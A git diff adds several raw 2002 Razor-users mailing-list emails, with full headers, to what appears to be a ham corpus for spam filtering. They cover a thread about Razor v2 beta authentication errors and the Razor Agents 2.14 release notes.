+------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00542.770c6e6b9f14acd8be67b2fb37d6dd9e b/bayes/spamham/easy_ham_2/00542.770c6e6b9f14acd8be67b2fb37d6dd9e new file mode 100644 index 0000000..7e7ffb8 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00542.770c6e6b9f14acd8be67b2fb37d6dd9e @@ -0,0 +1,103 @@ +From razor-users-admin@lists.sourceforge.net Thu Jul 25 10:53:09 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4C656440D3 + for ; Thu, 25 Jul 2002 05:53:05 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 10:53:05 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6OHba430137 for ; Wed, 24 Jul 2002 18:37:36 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XPsl-0000zc-00; Wed, + 24 Jul 2002 10:25:03 -0700 +Received: from [216.129.152.3] (helo=mail.naisp.net) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17XPsK-0008EZ-00 for ; Wed, + 24 Jul 2002 10:24:36 -0700 +Received: from shadow (hidden-user@kosh.ne.client2.attbi.com + [66.31.152.138]) by mail.naisp.net (8.11.6/8.11.6) with SMTP id + g6OHOAN07745 for ; Wed, 24 Jul 2002 + 13:24:10 -0400 +Message-Id: <001201c23336$ec1c8da0$010aa8c0@shadow> +From: "Alan A." +To: +References: <20020724095903.W3639-100000@rockstar.stealthgeeks.net> +Subject: Re: [Razor-users] Authentication Error +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 24 Jul 2002 13:24:09 -0400 +Date: Wed, 24 Jul 2002 13:24:09 -0400 + +> On Wed, 24 Jul 2002, Patrick wrote: +> >On Wed, 24 Jul 2002, rODbegbie wrote: +> > +> > >rODbegbie wrote: +> > > >I get the impression that Vipul & co are deliberately trying to +> > > >mislead users into downloading the dev code in order to get more +> > > >unwitting test sites. +> > +> > >Apologies to all. In re-reading, that sentence sounds a lot harsher +than I +> > >intended. +> > +> >The question I have is: what needs to be done/help needs to be provided +to +> >make the system suck less? It's obviously a great idea, it just needs +some +> >work... + +That's simple. The same thing that any beta project needs to improve. +Continuous +End-User testing, constructive feedback, and suggestions on how to improve +the +system. Upgrade each time a new beta version comes out, so everyone is +testing +on the same version of the code, and old bugs don't get reported as being in +the +new version, thus slowing down the debugging process. + +Report any installation issues, bugs, errors, etc., to the V2 beta list +(http://lists.sourceforge.net/lists/listinfo/razor-testers) so that they can +be quickly +looked at, etc. Provide detailed description of issues, include logs if +possible, +as well as any "captured" spam that generated the error(s). + + +Thank you, please drive through, +- AA - + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00543.5ba1d9e8383ecbba9dc5733e9822ee1b b/bayes/spamham/easy_ham_2/00543.5ba1d9e8383ecbba9dc5733e9822ee1b new file mode 100644 index 0000000..40fdbab --- /dev/null +++ b/bayes/spamham/easy_ham_2/00543.5ba1d9e8383ecbba9dc5733e9822ee1b @@ -0,0 +1,114 @@ +From razor-users-admin@lists.sourceforge.net Thu Jul 25 10:53:21 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 34E53440D1 + for ; Thu, 25 Jul 2002 05:53:20 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 10:53:20 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6OHgJ430447 for ; Wed, 24 Jul 2002 18:42:19 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XPzX-00029g-00; Wed, + 24 Jul 2002 10:32:03 -0700 +Received: from adsl-64-171-12-187.dsl.sntc01.pacbell.net ([64.171.12.187] + helo=rover.vipul.net) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17XPzD-0001Ra-00 for + ; Wed, 24 Jul 2002 10:31:43 -0700 +Received: (from vipul@localhost) by rover.vipul.net (8.11.6/8.11.6) id + g6OHVX621166; Wed, 24 Jul 2002 10:31:33 -0700 +From: Vipul Ved Prakash +To: Patrick +Cc: rODbegbie , razor-users@example.sourceforge.net +Subject: Re: [Razor-users] Authentication Error +Message-Id: <20020724103132.B20960@rover.vipul.net> +Reply-To: mail@vipul.net +Mail-Followup-To: Patrick , + rODbegbie , razor-users@lists.sourceforge.net +References: <00f101c23331$1bdda5c0$b554a8c0@RAGING> + <20020724095903.W3639-100000@rockstar.stealthgeeks.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <20020724095903.W3639-100000@rockstar.stealthgeeks.net>; + from patrick@stealthgeeks.net on Wed, Jul 24, 2002 at 10:02:51AM -0700 +X-Operating-System: Linux rover.vipul.net 2.4.18 +X-Privacy: If possible, encrypt your reply. Key at http://vipul.net/ +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 24 Jul 2002 10:31:32 -0700 +Date: Wed, 24 Jul 2002 10:31:32 -0700 + +At this instance there are several thousand happy users of the Razor v2 +system. The code is still officially in Beta, but the first stable release +is around the corner. If you are seeing problems, download the latest +version; most likely the problem has been fixed already, if not, send a +bug report to razor-testers@lists.sf.net or to chad@cloudmark.com + +cheers, +vipul. + +On Wed, Jul 24, 2002 at 10:02:51AM -0700, Patrick wrote: +> On Wed, 24 Jul 2002, rODbegbie wrote: +> +> > rODbegbie wrote: +> > > I get the impression that Vipul & co are deliberately trying to +> > > mislead users into downloading the dev code in order to get more +> > > unwitting test sites. +> > +> > Apologies to all. In re-reading, that sentence sounds a lot harsher than I +> > intended. +> +> The question I have is: what needs to be done/help needs to be provided to +> make the system suck less? It's obviously a great idea, it just needs some +> work... +> +> /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ +> Patrick Greenwell +> Asking the wrong questions is the leading cause of wrong answers +> \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ +> +> +> +> ------------------------------------------------------- +> This sf.net email is sponsored by:ThinkGeek +> Welcome to geek heaven. +> http://thinkgeek.com/sf +> _______________________________________________ +> Razor-users mailing list +> Razor-users@lists.sourceforge.net +> https://lists.sourceforge.net/lists/listinfo/razor-users + +-- + +Vipul Ved Prakash | "The future is here, it's just not +Software Design Artist | widely distributed." +http://vipul.net/ | -- William Gibson + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00544.f3b57aa07af3f3280e917659195f8370 b/bayes/spamham/easy_ham_2/00544.f3b57aa07af3f3280e917659195f8370 new file mode 100644 index 0000000..6c54c3b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00544.f3b57aa07af3f3280e917659195f8370 @@ -0,0 +1,121 @@ +From razor-users-admin@lists.sourceforge.net Thu Jul 25 10:56:21 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8C1B1440D1 + for ; Thu, 25 Jul 2002 05:56:19 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 10:56:19 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6OJ48402000 for ; Wed, 24 Jul 2002 20:04:09 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XRGv-0001md-00; Wed, + 24 Jul 2002 11:54:05 -0700 +Received: from mail.torresen.com ([64.106.149.110]) by + usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17XRGP-00083R-00 for ; Wed, + 24 Jul 2002 11:53:33 -0700 +Received: (qmail 7511 invoked from network); 24 Jul 2002 06:51:33 -0000 +Received: from chcgil2-ar6-4-47-169-072.chcgil2.dsl-verizon.net (HELO + christopher.torresen.com) (4.47.169.72) by mail.torresen.com with SMTP; + 24 Jul 2002 06:51:33 -0000 +Message-Id: <5.1.0.14.2.20020724145323.04fe3790@mail.torresen.com> +X-Sender: christopher@mail.torresen.com@mail.torresen.com +X-Mailer: QUALCOMM Windows Eudora Version 5.1 +To: "rODbegbie" +From: Christopher VanOosterhout +Subject: Re: [Razor-users] Authentication Error +Cc: +In-Reply-To: <00d301c2332f$1ca59b90$b554a8c0@RAGING> +References: <20020711084825.W60740-100000@rockstar.stealthgeeks.net> + <20020723211828.Y98572-100000@rockstar.stealthgeeks.net> + <20020724141339.GD3208@fsckit.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii"; format=flowed +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 24 Jul 2002 14:53:38 -0400 +Date: Wed, 24 Jul 2002 14:53:38 -0400 + +unsubscribe + +At 12:26 PM 7/24/02 -0400, rODbegbie wrote: +>Tabor J. Wells wrote: +> > And where does it say production-ready? http://razor.sourceforge.net +> > says at the top of the page: +> > +> > June 13, 2002 - Vipul's Razor v2 released! The first beta of Vipul's +> > Razor v2 is now available for public download. +> +>1) I think the code is still very much pre-beta. +> +>2) When you go to the "Download" page, it tells you "Fetch the latest +>versions of razor-agents and razor-agents-sdk packages" It is not at all +>clear that these are development packages. +> +>The site is badly designed, and very misleading. IMO. The fact that the +>word "beta" appears in the middle of some introductory text on the front +>page is hardly a valid argument. (Well accepted software design "fact": +>USERS DON'T READ *ANYTHING*) +> +>I get the impression that Vipul & co are deliberately trying to mislead +>users into downloading the dev code in order to get more unwitting test +>sites. +> +>But that's just my opinion, I could be wrong. +> +>rOD. +> +>-- +>Anyway... long story short... +>...is a phrase whose origins are complicated and rambling. +> +> >> Doing the blogging thang again at http://www.groovymother.com/ << +> +> +> +>------------------------------------------------------- +>This sf.net email is sponsored by:ThinkGeek +>Welcome to geek heaven. +>http://thinkgeek.com/sf +>_______________________________________________ +>Razor-users mailing list +>Razor-users@lists.sourceforge.net +>https://lists.sourceforge.net/lists/listinfo/razor-users + +-- +Christopher VanOosterhout +Torresen Marine, Inc. +Internet Division +http://www.torresen.com/ +http://www.marinedieseldirect.com/ +3126 Lake Shore Drive +Muskegon, Michigan 49441 +231-759-8596 + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00545.e940867b2fe3a1b091d74986f7a8a91a b/bayes/spamham/easy_ham_2/00545.e940867b2fe3a1b091d74986f7a8a91a new file mode 100644 index 0000000..4a82ce6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00545.e940867b2fe3a1b091d74986f7a8a91a @@ -0,0 +1,85 @@ +From razor-users-admin@lists.sourceforge.net Thu Jul 25 11:06:50 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 19321440D8 + for ; Thu, 25 Jul 2002 06:06:36 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:06:36 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6P5Ou432106 for ; Thu, 25 Jul 2002 06:24:56 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Xaws-0007Y9-00; Wed, + 24 Jul 2002 22:14:02 -0700 +Received: from 72-17-237-24-cable.juneau.ak.net ([24.237.17.72] + helo=pen.homeip.net) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17XawP-0002Lu-00 for + ; Wed, 24 Jul 2002 22:13:33 -0700 +Received: from localhost (localhost [[UNIX: localhost]]) by pen.homeip.net + (8.11.6/8.11.6/SuSE Linux 0.5) id g6P5DQa24634; Wed, 24 Jul 2002 21:13:26 + -0800 +Message-Id: <200207250513.g6P5DQa24634@pen.homeip.net> +Content-Type: text/plain; charset="iso-8859-1" +From: John Andersen +Reply-To: jsa@pen.homeip.net +To: "rODbegbie" , + +Subject: Re: [Razor-users] Authentication Error +X-Mailer: KMail [version 1.3.2] +References: <20020711084825.W60740-100000@rockstar.stealthgeeks.net> + <00d301c2332f$1ca59b90$b554a8c0@RAGING> + <00f101c23331$1bdda5c0$b554a8c0@RAGING> +In-Reply-To: <00f101c23331$1bdda5c0$b554a8c0@RAGING> +MIME-Version: 1.0 +Content-Transfer-Encoding: 8bit +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 24 Jul 2002 21:13:25 -0800 +Date: Wed, 24 Jul 2002 21:13:25 -0800 + +On Wednesday 24 July 2002 08:42 am, rODbegbie wrote: +> rODbegbie wrote: +> > I get the impression that Vipul & co are deliberately trying to +> > mislead users into downloading the dev code in order to get more +> > unwitting test sites. +> +> Apologies to all. In re-reading, that sentence sounds a lot harsher than I +> intended. +> +> As the old maxim goes, "Never ascribe to malice that which can be equally +> explained by incompetence". + +Oh Yeah that sounds a WHOLE lot better... (chuckle). + +-- +_________________________________________________ +No I Don't Yahoo! +And I'm getting pretty sick of being asked if I do. +_________________________________________________ +John Andersen / Juneau Alaska + + +------------------------------------------------------- +This sf.net email is sponsored by: Jabber - The world's fastest growing +real-time communications platform! Don't just IM. Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00546.b2fa5914e24fd62a528ea0c37039362f b/bayes/spamham/easy_ham_2/00546.b2fa5914e24fd62a528ea0c37039362f new file mode 100644 index 0000000..67640cd --- /dev/null +++ b/bayes/spamham/easy_ham_2/00546.b2fa5914e24fd62a528ea0c37039362f @@ -0,0 +1,134 @@ +From razor-users-admin@lists.sourceforge.net Thu Jul 25 15:20:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 89B54440D1 + for ; Thu, 25 Jul 2002 10:20:27 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 15:20:27 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6PELT407434 for ; Thu, 25 Jul 2002 15:21:30 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XjId-0002CF-00; Thu, + 25 Jul 2002 07:09:03 -0700 +Received: from [208.7.1.205] (helo=everest.mckee.com) by + usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17XjHx-0007A6-00 for ; Thu, + 25 Jul 2002 07:08:21 -0700 +Received: (qmail 8169 invoked from network); 25 Jul 2002 13:59:21 -0000 +Received: from unknown (HELO belvoir) (208.7.1.202) by 208.7.1.205 with + SMTP; 25 Jul 2002 13:59:21 -0000 +Message-Id: <001301c233e4$b75d4ba0$7c640f0a@mfc.corp.mckee.com> +From: "Fox" +To: , + "Christopher VanOosterhout" +References: <00f101c23331$1bdda5c0$b554a8c0@RAGING> + <20020711084825.W60740-100000@rockstar.stealthgeeks.net> + <00d301c2332f$1ca59b90$b554a8c0@RAGING> + <00f101c23331$1bdda5c0$b554a8c0@RAGING> + <5.1.0.14.2.20020725075101.04b43a20@mail.torresen.com> +Subject: Re: [Razor-users] unsubscribe +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 25 Jul 2002 10:08:13 -0400 +Date: Thu, 25 Jul 2002 10:08:13 -0400 + +ignore + +----- Original Message ----- +From: "Christopher VanOosterhout" +To: +Sent: Thursday, July 25, 2002 7:51 AM +Subject: [Razor-users] unsubscribe + + +> unsubscribe +> +> At 09:13 PM 7/24/02 -0800, John Andersen wrote: +> >On Wednesday 24 July 2002 08:42 am, rODbegbie wrote: +> > > rODbegbie wrote: +> > > > I get the impression that Vipul & co are deliberately trying to +> > > > mislead users into downloading the dev code in order to get more +> > > > unwitting test sites. +> > > +> > > Apologies to all. In re-reading, that sentence sounds a lot harsher +than I +> > > intended. +> > > +> > > As the old maxim goes, "Never ascribe to malice that which can be +equally +> > > explained by incompetence". +> > +> >Oh Yeah that sounds a WHOLE lot better... (chuckle). +> > +> >-- +> >_________________________________________________ +> >No I Don't Yahoo! +> >And I'm getting pretty sick of being asked if I do. +> >_________________________________________________ +> >John Andersen / Juneau Alaska +> > +> > +> >------------------------------------------------------- +> >This sf.net email is sponsored by: Jabber - The world's fastest growing +> >real-time communications platform! Don't just IM. Build it in! +> >http://www.jabber.com/osdn/xim +> >_______________________________________________ +> >Razor-users mailing list +> >Razor-users@lists.sourceforge.net +> >https://lists.sourceforge.net/lists/listinfo/razor-users +> +> -- +> Christopher VanOosterhout +> Torresen Marine, Inc. +> Internet Division +> http://www.torresen.com/ +> http://www.marinedieseldirect.com/ +> 3126 Lake Shore Drive +> Muskegon, Michigan 49441 +> 231-759-8596 +> +> +> +> ------------------------------------------------------- +> This sf.net email is sponsored by: Jabber - The world's fastest growing +> real-time communications platform! Don't just IM. Build it in! +> http://www.jabber.com/osdn/xim +> _______________________________________________ +> Razor-users mailing list +> Razor-users@lists.sourceforge.net +> https://lists.sourceforge.net/lists/listinfo/razor-users + + + +------------------------------------------------------- +This sf.net email is sponsored by: Jabber - The world's fastest growing +real-time communications platform! Don't just IM. Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00547.a4bff0b61d5617808712cf2085aa8170 b/bayes/spamham/easy_ham_2/00547.a4bff0b61d5617808712cf2085aa8170 new file mode 100644 index 0000000..f360fe5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00547.a4bff0b61d5617808712cf2085aa8170 @@ -0,0 +1,155 @@ +From razor-users-admin@lists.sourceforge.net Fri Jul 26 00:21:17 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4CA71440E8 + for ; Thu, 25 Jul 2002 19:21:14 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 00:21:14 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6PNKJ405976 for ; Fri, 26 Jul 2002 00:20:19 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Xrm7-0002hz-00; Thu, + 25 Jul 2002 16:12:04 -0700 +Received: from h-66-166-21-186.snvacaid.covad.net ([66.166.21.186] + helo=nexus.cloudmark.com) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17Xrlw-0001rq-00; Thu, 25 Jul 2002 16:11:52 + -0700 +Received: (from chad@localhost) by nexus.cloudmark.com (8.11.6/8.11.6) id + g6PNBFl12262; Thu, 25 Jul 2002 16:11:15 -0700 +X-Authentication-Warning: nexus.cloudmark.com: chad set sender to + chad@cloudmark.com using -f +From: Chad Norwood +To: razor-users@example.sourceforge.net, + razor-testers@lists.sourceforge.net, + razor-announce@lists.sourceforge.net +Message-Id: <20020725231115.GA11850@nexus.cloudmark.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Disposition: inline +User-Agent: Mutt/1.4i +X-MIME-Autoconverted: from 8bit to quoted-printable by nexus.cloudmark.com + id g6PNBFl12262 +Subject: [Razor-users] Razor Agents 2.14 Released +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 25 Jul 2002 16:11:15 -0700 +Date: Thu, 25 Jul 2002 16:11:15 -0700 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g6PNKJ405976 + + +This is a stable beta release. Please to upgrade. + +http://prdownloads.sourceforge.net/razor/razor-agents-2.14.tar.gz?download + +I've listed below all changes since the last major release, 2.12. +These are also in the Changes file included with the tar.gz. + +-chad + + +2.14 (July 25, 2002) + · Added Digest::Nilsimsa and URI::Escape to Make- + file.PL's prerequisites. [vipul] + + · Fixed rare bug in report. Thanks goes to "Alan A." + for this and much more help. [chad] + +2.126 (July 24, 2002) + · Improved logic again for detecting spam. [chad, + vipul] + + · Run-time warnings are disabled unless in debug mode. + [chad] + +2.125 (July 18, 2002) + · Improved logic for detecting spam, now we only look at + visible and/or significant mime parts. [chad, vipul] + + · Mime parts cleaned to only whitespace are now ignored + on the client side, that is, they are not checked + against server [chad] + + · Fixed bug in report (err 202) [chad] + + · Quieted more warnings [chad] + +2.123 (July 17, 2002) + · Fixed bug in revoke/report [chad] + + · Whitelist now looks at all 'Received:' headers for + matching [chad] + + · Added debuglevel, whitelist cmd-line options [chad] + + · Quieted more warnings [chad] + +2.122 (July 15, 2002) + · Renamed razor-register razor-admin. To register, you + must 'razor-admin -register' [chad] + + · Cleanded up how we store mail parts. Each mail object + now has a part object that stores info relevant to + that part. [chad] + + · Fixed parse_mbox (reading mbox and rfc822 mails) + [chad] + + · Backup any existing identity files before writing over + them (with new identity) [chad] + + · Added lock file support, so only one process writes to + servers.*.lst at a time [chad] + + · Added rediscover_wait_dns [chad] + + · Fixed a bug when we rediscover, we save info to list + correctly but when using it we skip the first server + [chad] + + + · Fixed whitelist so rule 'from xx' only matches 'From: + .*xx' not 'From .*xx' (Note the ':') [chad] + + · Made exit codes cleaner [chad] + 0 or 1 => no error + 2 or greater => error + + · Fixed error msg/exit code after disconnect [chad] + + · Added -w to razor binaries [chad] + + · If authen fails 'cuz unknown user (213), attempt re- + register [chad] + + · Quieted a bunch of warnings [chad] + + + + +------------------------------------------------------- +This sf.net email is sponsored by: Jabber - The world's fastest growing +real-time communications platform! Don't just IM. Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00548.9df9bd35a18874dcf39ec227a063b847 b/bayes/spamham/easy_ham_2/00548.9df9bd35a18874dcf39ec227a063b847 new file mode 100644 index 0000000..4de5b5f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00548.9df9bd35a18874dcf39ec227a063b847 @@ -0,0 +1,96 @@ +From razor-users-admin@lists.sourceforge.net Fri Jul 26 01:38:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 126D3440E7 + for ; Thu, 25 Jul 2002 20:38:23 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 01:38:23 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6Q0YN409744 for ; Fri, 26 Jul 2002 01:34:23 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Xsuo-0006SU-00; Thu, + 25 Jul 2002 17:25:06 -0700 +Received: from cpe.atm0-0-0-111163.0xc2c06a6d.boanxx1.customer.tele.dk + ([194.192.106.109] helo=mail.jth.net) by usw-sf-list1.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XsuX-0005mY-00 for + ; Thu, 25 Jul 2002 17:24:49 -0700 +Received: from vennely1 (vennely1 [194.192.106.109]) by mail.jth.net + (Postfix) with SMTP id 569BE18684 for ; + Fri, 26 Jul 2002 02:24:35 +0200 (CEST) +From: =?ISO-8859-1?Q?J=F8rgen_Thomsen?= +To: razor-users@example.sourceforge.net +Message-Id: +References: <20020725231115.GA11850@nexus.cloudmark.com> +In-Reply-To: <20020725231115.GA11850@nexus.cloudmark.com> +X-Mailer: Forte Agent 1.91/32.564 +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Subject: [Razor-users] Content-Type: message/rfc822 supported ? +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 26 Jul 2002 02:24:29 +0200 +Date: Fri, 26 Jul 